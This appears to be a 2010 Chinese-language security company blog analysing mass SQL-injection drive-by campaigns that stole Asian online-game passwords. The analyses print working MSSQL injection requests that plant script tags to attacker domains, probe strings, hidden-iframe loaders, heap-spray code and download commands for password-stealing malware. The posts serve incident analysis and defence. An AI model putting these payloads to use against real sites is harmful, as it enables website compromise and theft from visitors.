阿碼外傳-阿碼科技非官方中文 Blog

2010年8月16日

新型態大規模掛馬--五十萬至五百萬寄放網域遭受感染

無法查看此摘要。請 按這裡查看文章。
繼續閱讀全文...

2010年8月6日

black hat 與 DEF CON 2010 的投影片與程式碼上線了

我們今年在美國駭客年會 black hat 跟 DEF CON 演講的投影片上線了!感謝來聽演講的朋友,謝謝大家的捧場!black hat的演講比較緊張,因為看到台下很多記者,怕會被問一些敏感的問題,所以只好一路把時間用完,然後火速收場。

DEF CON 三場就都講得很開心,我主講的 drivesploit ,是我與同事Antonio Roman Fernandez、Fyodor Yarochkin 還有 Chris Hsiao 一起做的,由我與Roman來講。那場人非常的多,一路排到外面去,大家反應也熱烈。這個題目不是很難,講起來還算輕鬆。

另一場NoSQL,則主要是Kuon做的,由我來講。第三場0Box,則是Birdman與Benson做的,我先回來了,由Benson講。

drivesploit的程式碼在這邊可以下載:http://github.com/waynearmorize/drivesploit

感謝大家的支持!

Drivesploit: Circumventing Both Automated AND Manual Drive-By-Download Detection (blackhat and DEF CON)


NoSQL, no SQL injections? (DEF CON)


0box Analyzer--Afterdark Runtime Forensics for Automated Malware Analysis and Clustering (DEF CON)





繼續閱讀全文...

2010年7月2日

DNF666 大規模SQL掛馬攻擊又來了:4589.in與22dnf.com

(作者:Wayne Huang, Chris Hsiao, Birdman, Wisely Tao, Crane Ku, 以及Armorize其他成員)


在6月13日,我們在blog上講述到 Flash 0day大規模掛馬攻擊研究。根據我們的分析,這一波的攻擊也是由"DNF666"這個團體所發起的。 以下是我們的分析。


前一篇 (查看前一篇blog):

5月07日: dnf666.net Mass SQL attack
6月04日: Adobe 發佈弱點通知
6月07日:POC code於網路上流傳。.
6月08日:robint.us--第一波大規模掛馬,掛馬本身就是打這個0day。
6月10日:有了Metasploit 版本
6月11日:2677.in--第二波大規模掛馬攻擊開始。

我們把這個攻擊的團體稱之為 "DNF666",Wall Street Journal 即是被robint.us所打中如同 Jerusalem 所發佈的文章. 而且超過114,000網頁被掛了馬, 而所有的這些主要就是為了散佈惡意程式盜取亞洲線上遊戲的密碼

而中國、台灣及一些亞洲區的一些網站即是他們鎖定的目標。

以下就是他們最近所做的事:

6月14日:4589.in--大規模掛馬攻擊
6月30日:22dnf.com--大規模掛馬攻擊

相似點:
1. 同樣的一個團體所為 -- DNF666
2. 同樣的掛馬產生器 -- CuteQQ / Anhey
3. 同樣的目的 -- 盜取亞洲線上遊戲的密碼

不同點:
1. 新的SQL injection探測語法
2. 伺服端的攻擊目標同時包括ASP及ASP.NET網站
3. 客戶端的攻擊鎖定不同的弱點(CVE-2010-0806 and CVE-2010-0249)
4. 鎖定亞洲區以台灣為主的網站

[1.伺服器端]

在這兩個嘗試裡,我們看到了新的探測字串 (thanks to SmartWAF team Wisely and Crane):

' aND '8'='8
' aND '8'='3
'/**/aND/**/'8'='8
'/**/aND/**/'8'='3
%' aND '8%'='8
%' aND '8%'='3
%' aND '8'='8
%' aND '8%'='3
%'/**/aND/**/'8'='8
%'/**/aND/**/'8%'='3
' XoR '8'='3
' XoR '8'='8
' XoR '8'='3
' XoR '8'='8
'/**/XoR/**/'8'='3
'/**/XoR/**/'8'='8


這個SQL injection的技巧是他們經常使用的:
4589.in sample:


GET /default.aspx?imgbtnlogin=1;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B6341735428307833433733363337323639373037343230373337323633334436383734373437303341324632463334333533383339324536393645324637393631363836463646324536413733334533433246373336333732363937303734334520615320764172436841722835302929207768657265205B272B40632B275D206E6F74206C696B6520272725343538392E696E2527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXeC(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt

22dnf.com:


GET /default.aspx?imgbtnlogin=1;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B63417354283078334337333633373236393730373432303733373236333344363837343734373033413246324633323332363436453636324536333646364432463636363632463739324536413733334533433246373336333732363937303734334520615320764172436841722835312929207768657265205B272B40632B275D206E6F74206C696B65202727253232646E662527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXeC(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt

解碼後, 4589.in:


get /default.aspx?imgbtnlogin=1;declare @s varchar(8000) set @sdeclare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cast(0x3c736372697074207372633d687474703a2f2f343538392e696e2f7961686f6f2e6a733e3c2f7363726970743e as varchar(50)) where ['+@c+'] not like ''%4589.in%''') fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor;-- exec(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt

22dnf.com:


get /default.aspx?imgbtnlogin=1;declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cast(0x3c736372697074207372633d687474703a2f2f3232646e662e63 6f6d2f66662f792e6a733e3c2f7363726970743e as varchar(51)) where ['+@c+'] not like ''%22dnf%''') fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor;--exec(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt


沒有發現什麼新的SQL injection攻擊技巧,不過這一次這個團體有:

A. 使用新的探測技巧。
B. 鎖定有弱點的IIS+ASP 及 IIS+ASP.NET 網站。
C. 鎖定亞洲區以台灣為主的網站。


4859.in SQL injections來自IP: 95.211.130.71, 反查指到那個網域: 4859.in,和iamcome.in. iamcome.in 是在上一次的攻擊中被DNF666團體所使用的而這是第一個線索指出這兩個攻擊是跟DNF666團體有關。

22dnf.com SQL injections 來自204.74.216.42這個IP,它是一家位於北京rashost.com所擁有的(DNS: 204-74-216-42.vps.rashost.com). 而這個名為"22dnf"(同樣含有"dnf")為第二個線索指出這一波的掛馬是跟DNF666有所關連的。

這裡是被掛馬的一些網站的搜尋畫面
4589.in:


22dnf.com:

掛馬片段:
4589.in (note in the 上次06/11日2677.in所做的這個js 的檔案名一樣為 "yahoo.js"):

<script src=http://4589.in/yahoo.js></script>


而這是昨天的22dnf.com:

<script src=http://22dnf.com/ff/y.js></script>

事實上這一波的攻擊手法幾乎跟上次一模一樣,所以很多網站都是被二度入侵的:

[2.使用者端]

讓我們把焦點放在昨天的大規模SQL掛馬攻擊上--22dnf.com。 下面是y.js:

try{__m}catch(e){__m=1;document.title=document.title.replace(/\<(\w\W)*\>/,"");document.write("<iframe src=http://22dnf.com/ff/cc.html width=0 height=0></iframe><iframe src=http://22dnf.com/ff/ie.html width=0 height=0></iframe><iframe src=http://22dnf.com/ff/ad.html width=0 height=0></iframe>");}

所以"y.js"載入了3個htmls--cc.html, ie.html,及ad.html.其中cc.html載入cnzz.com來當造訪人次的計數器,而ie.html 則針對漏洞 CVE-2010-0806, 而ad.html 則是針對另一個漏洞CVE-2010-0249.

ie.html 結合了一個DOM-based的技巧來規避自動化惡意網頁(drive-by download)偵測機制,就像我們的我們HackAlert.攻擊程序是由DOM物件來觸發:

<button id="bo" onclick="payload();" STYLE="DISPLAY:NONE"></button>
...
document.getElementById("bo").onclick();

ad.html 結合了一個類似DOM-based的技巧--這攻擊程序 evl() 是由圖片物件以onload事件來觸發:

<img src="XIGUA.GIF" onload="ev1(event)">

而這兩個技巧可以很有效的來打敗,單純以javascript引擎而非DOM來實作的"行為模式"掃瞄引擎 --例如,單純以SpiderMonkey or Rhino的一些實作。

而真正的shellcode是被存放在 ff/a.gif 之中--這是一個常見的技術,能讓攻擊更有彈性,同時也是用來規避偵測為其目的。而這個掛馬攻擊很明顯的是由,掛馬工具CuteQQ / Anhey drive-by 套件所製成, 而這點成為了第三個線索指出這個這攻擊是由DNF666所為。

在漏洞被利用成功之後,它的shellcode會來載入s.exe, 之後自202.109.143.79:81/s.txt遠端讀取下載命令。s.txt的內容如下:

123

http://202.109.143.79:81/ma.exe

所以s.exe 會來下載 ma.exe這支惡意程式。

[3.實際的惡意程式]

在我們的分析結果中這個 ma.exe 惡意程式跟我們上次的分析是一樣的,主要就是要來盜取密碼用的,而它主要所盜取的為以下的線上遊戲:

aion.plaync.co.kr
aion.plaync.jp
df.nexon.com
maplestory.nexon.com

[4.結論]

這兩個的攻擊都是由DNF666所發起,而他們至少也牽涉三起先前的大規模SQL掛馬攻擊,這是我們的結論。我們再為這波的攻擊做個重點提要:

相似點:
1. 同樣的一個團體所為 -- DNF666
2. 同樣的掛馬產生器 -- CuteQQ / Anhey
3. 同樣的目的 -- 盜取亞洲線上遊戲的密碼

不同點:
1. 新的SQL injection探測語法
2. 伺服端的攻擊目標同時包括ASP及ASP.NET網站
3. 客戶端的攻擊鎖定不同的弱點(CVE-2010-0806 and CVE-2010-0249).
4. 鎖定亞洲區以台灣為主的網站

時間表:

5月07日: dnf666.net Mass SQL attack
6月04日: Adobe 發佈弱點通知
6月07日:POC code於網路上流傳。.
6月08日:robint.us--第一波大規模掛馬,掛馬本身就是打這個0day。
6月10日:有了Metasploit 版本
6月11日:2677.in--第二波大規模掛馬攻擊開始。

6月14日:4589.in--大規模掛馬攻擊
6月30日:22dnf.com--大規模掛馬攻擊


繼續閱讀全文...

2010年6月17日

Flash 0day 大規模掛馬攻擊研究:robint.us與2677.in

(作者:Wayne Huang, Fyodor Yarochkin, Aditya Sood, Jeremy Chiu, Wisely Tao, Kuon Ding, Crane Ku, Sun Huang, 以及Armorize其他成員)(英文版在這裡

最近讀了一些媒體對於此次 Adobe Flash 0day (現在已經不是0day了 ) (CVE-2010-1297) 大規模SQL injection掛馬--robint.us與2677.in的報導,覺得都沒有寫到重點,所以在這邊分享我們的報告。

伺服器端:
1. 大規模掛馬前有針對各目標網站做黑箱掃瞄,所以攻擊者手上已經有各網站之弱點。
2. 此次攻擊針對IIS+ASP.NET的網站程式。但是攻擊的弱點乃網站本身之問題,與IIS/ASP.NET無關。

使用者端:
1. 0day 為亞洲團體所發現,很可能利用fuzzing發現的。
2. 0day 一開始使用於email的針對性攻擊。
3. 0day POC於網路上流傳不久(一至二天),就被利用於mass SQL大規模掛馬攻擊中。
4. 掛馬中有加入對付自動掃瞄工具(如HackAlert)的技巧。
5. 掛馬為 CuteQQ / Anhey工具所產生。

整體來說:
1. 攻擊者是dnf666,與三月時的dnf666.net大規模掛馬攻擊事件是同一團體。
2. 攻擊者主要以散播非法線上遊戲外掛以及偷盜線上遊戲帳號牟利。
3. 這幾波的0day大規模掛馬攻擊 (robint.us and 2677.in),主要目的為盜取線上遊戲帳號,包括: aion.plaync.co.kr, aion.plaync.jp, 以及 df.nexon.com。
4. 攻擊都有配合使用免費網站流量統計服務,以觀察感染進度。

以下是完整報告。

[0. 背景]

6月04日:Adobe 發佈弱點通知
6月07日:POC code於網路上流傳。.
6月08日:robint.us--第一波大規模掛馬,掛馬本身就是打這個0day。
6月10日:有了Metasploit 版本
6月11日:2677.in--第二波大規模掛馬攻擊開始。

[1. 伺服器端]

以下是一些攻擊前的測探(感謝SmartWAF team提供):


' and char(124)+user+char(124)=0 and ''='
' and char(124)+user+char(124)=0 and '%25'='
and char(124)+user+char(124)=0
' and 1=1 and ''='

沒什麼特別。以下則是實際的GET request:

Sample 1:


GET /default.aspx?imgbtnlogin=1;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B6341735428307833433733363337323639373037343230373337323633334436383734373437303341324632463332333633373337324536393645324637393631363836463646324536413733334533433246373336333732363937303734334520615320764172436841722835302929207768657265205B272B40632B275D206E6F74206C696B65202727257961686F6F2E6A732527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXeC(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt

Sample 2:


GET /default.aspx?imgbtnlogin=1;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B6341735428307833433733363337323639373037343230373337323633334436383734373437303341324632463332333633373337324536393645324637393631363836463646324536413733334533433246373336333732363937303734334520615320764172436841722835302929207768657265205B272B40632B275D206E6F74206C696B65202727257961686F6F2E6A732527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXeC(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt


由於攻擊是針對ASP.NET,我們注意到GET後面有加:_viewstate=ddwxmzk4nt。這對繞過某些WAF有幫助。

上面的code解碼後變成:


dEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cAsT(0x3C736372697074207372633D687474703A2F2F323637372E696E2F7961686F6F2E6A733E3C2F7363726970743E aS vArChAr(50)) where ['+@c+'] not like ''%yahoo.js%''') fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;--

轉換成小寫比較容易讀:


declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cast(0x3c736372697074207372633d687474703a2f2f323637372e696e2f7961686f6f2e6a733e3c2f7363726970743e as varchar(50)) where ['+@c+'] not like ''%yahoo.js%''') fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor;--

以上並沒太大特別之處,從2008年初開始的大規模掛馬攻擊,SQL注入手法大致都是如上。

我們研究30個被感染的網站,如預期,感染的網站都是IIS與ASP.NET。


[2. 使用者端]

下面是受感染網頁的取樣:

<div class="tomsqre_top"><p><img width="758" height="700" src="/userfiles/image/20100520_tomsquare.jpg" alt="" /></p><script src=http://2677.in/yahoo.js></script></div>


<title>New Vans and Used Vans Ipswich<script src=http://2677.in/yahoo.js></script> - Norfolk Trucks Ipswich</title>

yahoo.js是我們所謂的「entry snippet」,也就是受感染的源頭。接下來攻擊觸發之流程為:

以下我們描述細部過程。

1. http://2677.in/yahoo.js 動態產生兩個iframe,連向: http://2677.in/cnzz.html (網站流量統計服務 counter) and http://2677.in/ie.htm (flash 攻擊程式 exploit)

try{__m}catch(e){__m=1;document.title=document.title.replace(/\<(\w\W)*\>/,"");document.write("<iframe src=http://2677.in/cnzz.html width=0 height=0></iframe><iframe src=http://2677.in/ie.html width=22 height=1>");}

2. http://2677.in/cnzz.html 使用免費流量統計服務 cnzz.com 來觀察感染趨勢。

<script src="http://s11.cnzz.com/stat.php?id=1990191&web_id=1990191" language="JavaScript"></script>


我們連往流量統計的業面,可以發現攻擊者的代號是"dnf666."。很耳熟嗎?

沒有錯,這個跟三月發生的"dnf666.net"大規模掛馬攻擊事件,是同一團體。代號一樣:dnf666,SQL與掛馬手法如出一轍,也都是使用cnzz作為流量統計服務。

然後其實,robint.us攻擊事件,也是使用cnzz:http://s11.cnzz.com/stat.php?id=2095356&web_id=2095356
更好玩的是,三月時發生的"dnf666.net"攻擊事件,其實惡意網址中有"robints.us"。對,比這次"robint.us",多了一個"s"。

這裡有更多的證據。

所以目前的結論是,三月時"dnf666"發動了一波大規模掛馬攻擊,使用的惡意網址中包含了robints.us。最近,他們利用了Adobe Flash 0day (VE-2010-1297)發動了另一波攻擊:robint.us以及2677.in.

DNF就是地下城與勇士(Dungeon Fighter),在台灣是遊戲橘子代理,在內地是放在QQ平台上。dnf666.net這個網站,當初一開始是散播(非法)DNF的外掛。

分析這些資訊,看在到本文的結論:這兩波攻擊,都是為了偷線上遊戲帳號,其實已經不意外了。

3. http://2677.in/ie.html 將執行heap spray的程式,存於一個DOM物件中:

解碼後比較容易看:


var a = new Array();
var xcode=loader("log.txt","MM","NN")*262144;
var shellcode=loader("log.txt","XX","YY");
var ls = xcode-(shellcode.length*2+0x01020);
var b = loader("log.txt","VV","WW");
while(b.length<ls)
{
b+=b;
}
var lh=b.substring(0,ls/2);
delete b;
lh = lh + shellcode;

在我們的流程圖中,我們將這個標示成"trick 1",因為這個技巧(trick)可以躲過某些自動化行為偵測工具,也就是只有實做javascript引擎而沒有實做DOM的自動化行為偵測工具。換言之,如果單純使用SpiderMonkeyRhino,沒有加其他機制,或補強,那麼這個技巧就很可能可以多過偵測。

4. 這個DOM物件被<div id=sun>ie.html中的javascript利用eval()執行,然後向log.txt中取的攻擊用的shellcode。

var str=document.getElementById("sun").innerHTML;
eval(unescape(str));

在我們的流程圖中,我們將這個標示成"trick 2",因為這招對於某些自動化行為偵測工具有下。工具如果沒有實做完整的瀏覽器環境,那麼就無法向外取的log.txt中的shellcode。另一方面,這也讓該掛馬架構多些彈性:改shellcode不需改binary。

5. http://2677.in/ie.html中內嵌了flash(swf)的攻擊程式anhey.swf(CVE-2010-1297)

document.write("<embed src='anhey.swf' width='0' height='0'></embed>");

就這樣子了。ie.html中的javascript執行heap spray,並將經由log.txt取得的shellcode放入記憶體中,然後再經由anhey.swf來觸發攻擊。

看到這些手法,,還有"anhey.swf"這個檔名(robint.us / 2677.in 兩波攻擊都是此檔名),很多人應該已經猜出掛馬產生的工具了。
第一波robint.us攻擊中有以下程式碼:

var cuteqq = unescape(payload.replace(/CUTE/g, "%u"));
nopsled = unescape("%u0a0a%u0a0a");

這裡有第二個關鍵字:"cuteqq"。

CuteQQAnhey是同一家公司,兩個網址都對應到同一個網站,專門賣產生掛馬的工具:

我們看以下畫面。這個工具可以讓攻擊者填入要使用的網頁流量統計網頁(這次用的是cnzz.com)。同時,也支援"flash 10 0day"。中間則可以選一些躲避偵測的技術。


6. http://2677.in/anhey.swf 攻擊Adobe flash 的CVE-2010-1297,並於受害者機器中產生(drop)http://2677.in/log.exe

7. http://2677.in/log.exe的行為如下:

Behavior: DLL-Injection (Target: rundll32.exe) functions.

Modules
Base=10000000 Size=00003000 rundll32.exe

Files
[DLL] %UserProfile%\Microsoft\smx4pnp.dll F7E3595E910B767F64974B084B9B3D2A
%UserProfile%\Microsoft\smx4pnp.log

Autoruns
HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\smx4pnp

讀取: http://d.iamcome.in/u.txt,內容:

222
http://d.iamcome.in/ma.exe


8. 根據u.txt中的指令,log.exe下載惡意程式http://d.iamcome.in/ma.exe,ma.exe行為如下:

Behavior: DLL-Injection (Target: explorer.exe) functions.

Modules
Base=10000000 Size=0001C000 explorer.exe
Base=10000000 Size=0001C000 wscntfy.exe
Base=10000000 Size=0001C000 ctfmon.exe
Base=10000000 Size=0001C000 ctfmon.exe
Base=00F80000 Size=00001000 explorer.exe

Files
[DLL] %SystemRoot%\system32\xiaodll0.dll 38D8AC593197CB30C6C69929373459A8
[EXE] %SystemRoot%\system32\xiaosos.exe C55748843D9576B62982646FA3944F21

Autoruns
HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\loopsos

ma.exe偷以下的線上遊戲帳號:
1. aion.plaync.co.kr
2. aion.plaync.jp
3. df.nexon.com

[3. 結論]

伺服器端:
1. 大規模掛馬前有針對各目標網站做黑箱掃瞄,所以攻擊者手上已經有各網站之弱點。
2. 此次攻擊針對IIS+ASP.NET的網站程式。但是攻擊的弱點乃網站本身之問題,與IIS/ASP.NET無關。

使用者端:
1. 0day 為亞洲團體所發現,很可能利用fuzzing發現的。
2. 0day 一開始使用於email的針對性攻擊。
3. 0day POC於網路上流傳不久(一至二天),就被利用於mass SQL大規模掛馬攻擊中。
4. 掛馬中有加入對付自動掃瞄工具(如HackAlert)的技巧。
5. 掛馬為 CuteQQ / Anhey工具所產生。

整體來說:
1. 攻擊者是dnf666,與三月時的dnf666.net大規模掛馬攻擊事件是同一團體。
2. 攻擊者主要以散播非法線上遊戲外掛以及偷盜線上遊戲帳號牟利。
3. 這幾波的0day大規模掛馬攻擊 (robint.us and 2677.in),主要目的為盜取線上遊戲帳號,包括: aion.plaync.co.kr, aion.plaync.jp, 以及 df.nexon.com。
4. 攻擊都有配合使用免費網站流量統計服務,以觀察感染進度。

[4. 相關報導]
ThreatPost: SQL Injection Attacks Aimed at Stealing Gaming Credentials, Experts Say
InformatinWeek: SQL Injection Attacks Return
H-Online: Mass website hack aimed at online gamers
Host Exploit: SQL Injection Attacks Return

[5. 附錄]

1. HackAlert V3 forensics query dump

Visited path: http://2677.in/ie.html
Source code:
======

<script language='JavaScript'>
function ajax()
{
var xmlhttp_request = false;
try {
xmlhttp_request= new ActiveXObject('Msxml2.XMLHTTP');
} catch (e)
{
try {
xmlhttp_request= new ActiveXObject('Microsoft.XMLHTTP');
} catch (E) {
xmlhttp_request= null;
}
}
if (!xmlhttp_request && typeof XMLHttpRequest != 'undefined')
{
xmlhttp_request= new XMLHttpRequest();
}
return xmlhttp_request;
}
function loader(url,a,b)
{
var xmlhttp = ajax();
xmlhttp.open('get', url, false);
xmlhttp.send();
var page = xmlhttp.responseText;
page=page.replace(/jj/g,"%u");

var x=page.indexOf(a);
var y=page.indexOf(b)
var code=page.substring(x+2,y);
code=unescape(code);
return code;

}
var str=document.getElementById("sun").innerHTML;
eval(unescape(str));
var i=0;
var j=0;
var bb=new Array();
for (i = 0; i < 0xd0; i++)
a[i] = lh.substr(0, lh.length);

for(i=0;i<0x100;i++)
for(j=0;j<0x10;j++)
bb[i*0x10+j] = lh.substr(0, (0x10000-(0x01020))/2);
for(i=0;i<0x100;i++)
for(j=0;j<0x0f;j++)
bb[i*0x10+j]=null;

for (i = 0x1d0; i < loader("log.txt","MM","NN")*0x100; i++)
a[i-0x100] = lh.substr(0, lh.length);

for(i=0;i<0x100;i++)
bb[i*0x10+0x0f]=null;
document.write("<embed src='anhey.swf' width='0' height='0'></embed>");

</script>

========
Visited path: http://2677.in/cnzz.html
Source code:
======
<script src="http://s11.cnzz.com/stat.php?id=1990191&web_id=1990191" language="JavaScript"></script>

========
Visited path: http://2677.in/yahoo.js
Source code:
======
try{__m}catch(e){__m=1;document.title=document.title.replace(/\<(\w\W)*\>/,"");document.write("<iframe src=http://2677.in/cnzz.html width=0 height=0></iframe><iframe src=http://2677.in/ie.html width=22 height=1>");}
========
Visited path: http://www.ex-designz.net/topnavmenu.css
Source code:
======
#hnavmen {
float:right;
width:100%;
(truncated)
========
Visited path: http://s11.cnzz.com/stat.php?id=1990191&web_id=1990191
Source code:
======
function gv_cnzz(of){
var es = document.cookie.indexOf(";",of);
if(es==-1) es=document.cookie.length;
return unescape(document.cookie.substring(of,es));
}
(truncated)
========

2. Parts of anhey.swf:

internal function __setProp_nsPoints_Scene1_Layer1_0()
{
try {
this.nsPoints["componentInspectorSetting"] = true;

} catch (e:Error) {
var loc1:* = e;
someVal = null;

}
this.nsPoints.enabled = true;
this.nsPoints.maximum = 20;
this.nsPoints.minimum = 3;
this.nsPoints.stepSize = 1;
this.nsPoints.value = 1;
this.nsPoints.visible = true;
try {
this.nsPoints["componentInspectorSetting"] = false;

} catch (e:Error) {
loc1 = e;
someVal = null;

}
return;

}

public dynamic class ball extends flash.display::MovieClip
{

//========================= Variables
public var nsPoints : NumericStepper;
public var test1 : *;
public var test2 : *;
public var a : *;
public var b : *;
public var test5 : *;
public var test6 : *;
public var rbEvenOdd : RadioButton;
public var test8 : *;
public var test9 : *;
public var test3 : *;
public var test4 : *;
public var test7 : *;

//========================= Methods

public static function ball()
{
return;

}


public function ball()
{
super();
addFrameScript(0, this.frame1);
this.__setProp_nsPoints_Scene1_Layer1_0();
this.__setProp_rbEvenOdd_Scene1_Layer1_0();
return;

}


internal function __setProp_nsPoints_Scene1_Layer1_0()
{
try {
this.nsPoints["componentInspectorSetting"] = true;

} catch (e:Error) {
var loc1:* = e;
someVal = null;

}
this.nsPoints.enabled = true;
this.nsPoints.maximum = 20;
this.nsPoints.minimum = 3;
this.nsPoints.stepSize = 1;
this.nsPoints.value = 1;
this.nsPoints.visible = true;
try {
this.nsPoints["componentInspectorSetting"] = false;

} catch (e:Error) {
loc1 = e;
someVal = null;

}
return;

}


internal function frame1()
{
this.a = "bbbbbbbbbbbbbbbbbbbbbb";
this.b = "zbzabbbbbbbbbbbbbbb";
this.test3 = "aaaaaaaaaaaaaaaaa";
this.test1 = "aaaaaaaaaaaaaaaaa";
this.test2 = "aaaaaaaaaaaaaaaaa";
this.test4 = "aaaaaaaaaaaaaaaaaasdasdasdasdasdasdasdasdasdasdasdasdasdasdas";
this.test5 = "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeaaaaaaaaaaaaaaaaa";
this.test6 = "sdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdaaaaaaa";
this.test7 = "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeaaaaaaaaaaaaaaaaa";
this.test8 = "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeaaaaaaaaaaaaaaaaa";
this.test9 = "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeaaaaaaaaaaaaaaaaa";
return;

}


internal function __setProp_rbEvenOdd_Scene1_Layer1_0()
{
try {
this.rbEvenOdd["componentInspectorSetting"] = true;

} catch (e:Error) {
var loc1:* = e;
someVal = null;

}
this.rbEvenOdd.enabled = true;
this.rbEvenOdd.groupName = "rbgW";
this.rbEvenOdd.label = "sdadasd";
this.rbEvenOdd.labelPlacement = "right";
this.rbEvenOdd.selected = true;
this.rbEvenOdd.value = "0";
this.rbEvenOdd.visible = true;
try {
this.rbEvenOdd["componentInspectorSetting"] = false;

} catch (e:Error) {
loc1 = e;
someVal = null;

}
return;

}


}
public dynamic class focusRectSkin extends flash.display::MovieClip
{

//========================= Methods

public static function focusRectSkin()
{
return;

}


public function focusRectSkin()
{
super();
return;

}


}

}

